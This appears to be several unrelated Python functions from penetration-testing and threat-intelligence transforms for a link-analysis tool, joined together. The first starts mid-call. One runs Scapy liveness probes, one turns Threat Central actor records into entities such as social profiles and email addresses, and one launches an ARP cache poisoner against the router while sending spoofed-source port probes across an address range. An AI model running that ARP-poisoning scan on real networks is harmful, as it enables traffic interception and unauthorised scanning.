verbose=config['scapy/sr_verbose'], retry=config['scapy/sr_retries'] )[0] for r in ans: if r[1].src == sl_hop['ip']: debug('%s is attached to the same router...' % r[0].dst) e = IPv4Address(r[0].dst) alive = sr1( IP(dst=r[0].dst)/TCP(dport=dport), timeout=config['scapy/sr_timeout'], verbose=config['scapy/sr_verbose'], retry=config['scapy/sr_retries'] ) if alive is not None: e += Field('alive', 'true') response += e return response
def dotransform(request, response, config): notes = list() if 'ThreatCentral.resourceId' in request.fields: try: actor = get_actor(request.fields['ThreatCentral.resourceId']) except ThreatCentralError as err: response += UIMessage(err.value, type='PartialError') else: try: # Update entity? e = Actor(request.value) if actor.get('name'): e.name = encode_to_utf8(actor.get('name')) e.actor = encode_to_utf8(actor.get('name')) e.title = encode_to_utf8(actor.get('title')) e.resourceId = actor.get('resourceId') if actor.get('organization'): e.organization = encode_to_utf8(actor.get('organization')) if actor.get('aliases'): e.aliases = ', '.join([encode_to_utf8(_) for _ in actor.get('aliases')]) if actor.get('country'): e.country = encode_to_utf8(actor.get('country', dict()).get('displayName')) # Add Location entitie l = Location(encode_to_utf8(actor.get('country', dict()).get('displayName'))) response += l if actor.get('score'): e.score = actor.get('score') if actor.get('links'): e += Label('Links', '<br/>'.join(['<a href="{}">{}</a>'.format(_.get('href'), _.get('href')) for _ in actor.get('links')])) if actor.get('hyperlinks'): e += Label('Hyperlinks', '<br/>'.join(['<a href="{}">{}</a>'.format(_.get('url'), _.get('title')) for _ in actor.get('hyperlinks')])) if actor.get('title'): e += Label('Title', encode_to_utf8(actor.get('title'))) if actor.get('resourceId'): e += Label('ResourceID', actor.get('resourceId')) if actor.get('aliases'): e += Label('Aliases', '<br/>'.join([encode_to_utf8(_) for _ in actor.get('aliases', '')])) if actor.get('description'): e += Label('Description', '<br/>'.join(encode_to_utf8(actor.get('description', '')).split('\n'))) if actor.get('country'): e += Label('Country', encode_to_utf8(actor.get('country', dict()).get('displayName'))) if actor.get('organization'): e += Label('Organization', encode_to_utf8(actor.get('organization'))) if actor.get('types'): e += Label('Types', '<br/>'.join([encode_to_utf8(_.get('displayName')) for _ in actor.get('types')])) if actor.get('motivations'): e += Label('Motivations', '<br/>'.join([encode_to_utf8(_.get('displayName')) for _ in actor.get('motivations')])) if actor.get('intendedEffects'): e += Label('Intended Effects', '<br/>'.join([encode_to_utf8(_.get('displayName')) for _ in actor.get('intendedEffects')])) if actor.get('sophistication'): e += Label('Sophistication', encode_to_utf8(actor.get('sophistication', dict()).get('displayName'))) if actor.get('socialMediaText'): e += Label('Social Media', '<br/>'.join(encode_to_utf8(actor.get('socialMediaText', '') ).split('\n'))) if actor.get('moreInfo'): e += Label('More Info', '<br/>'.join(encode_to_utf8(actor.get('moreInfo', '')).split('\n'))) if actor.get('score'): e += Label('Score', actor.get('score')) response += e # Extract email addresses usable_info = search_for_usable_info( '{} {} {}'.format(encode_to_utf8(actor.get('description')), encode_to_utf8(actor.get('socialMediaText')), encode_to_utf8(actor.get('moreInfo')))) if usable_info: debug(usable_info) try: urls = usable_info.get('url', dict()) for twitter in urls.get('twitter', list()): t = Twitter(twitter.get('name')) t.uid = twitter.get('name') t.set_field('affiliation.profile-url', twitter.get('url')) response += t for facebook in urls.get('facebook', list()): f = Facebook(facebook.get('name')) f.uid = facebook.get('name') f.set_field('affiliation.profile-url', facebook.get('url')) response += f for other in urls.get('other', list()): u = URL(other) u.url = other response += u emailaddr = usable_info.get('email', list()) for email in emailaddr: e = EmailAddress(email) response += e except AttributeError as err: response += UIMessage('Error: {}'.format(err)) except AttributeError as err: response += UIMessage('Error: {}'.format(err), type='PartialError') except ThreatCentralError as err: response += UIMessage(err.value, type='PartialError') except TypeError: return response return response
def dotransform(request, response): params = parse_args(request.params) ports = portrange(params.target_ports) if params.target_ports is not None else config['irsscan/target_ports'] dst = params.target_host if params.target_host is not None else config['irsscan/target_host'] global q q = Queue() debug('Sending probes to %s' % dst) # This is the template used to send traffic p = Ether()/IP(dst=dst, id=int(RandShort()))/TCP(dport=ports, sport=int(RandShort()), seq=int(RandInt())) # We need to fix these values so that Scapy doesn't poop all over them p.dst = router_mac = p.dst p.src = my_mac = p.src # Begin the evil... mwuahahahahaha.. apw = ArpCachePoisoner(my_mac, router_mac) apw.start() # Loop through our IP address block and send out the probes for i in iprange(request.value): # Queue and set the current IP we are poisoning for the poisoner. q.put(str(i)) p[IP].src = str(i) sleep(0.5) # Send the probes! ans, unans = srp( p, retry=config['irsscan/sr_retries'], timeout=config['irsscan/sr_timeout'], verbose=config['irsscan/sr_verbose'] ) if ans: for a in ans: req, res = a e = Port(req.dport) e.source = req[IP].src e.destination = req[IP].dst e.protocol = 'tcp' e += Label('Summary', res.summary()) if TCP in res: e.response = res[TCP].sprintf('TCP:%flags%') e.status = PortStatus.Closed if (res[TCP].flags & 4) else PortStatus.Open elif ICMP in res: e.response = res[ICMP].sprintf('ICMP:%type%') e.status = PortStatus.TimedOut response += e if unans: for u in unans: e = Port(u.dport) e.source = u[IP].src e.destination = u[IP].dst e.status = PortStatus.TimedOut e.response = 'none' response += e # Goodbye! q.put(None) apw.join() return response
def onterminate(*args): debug('Terminated.') exit(0)
def onterminate(): debug("Caught signal... exiting.") exit(0)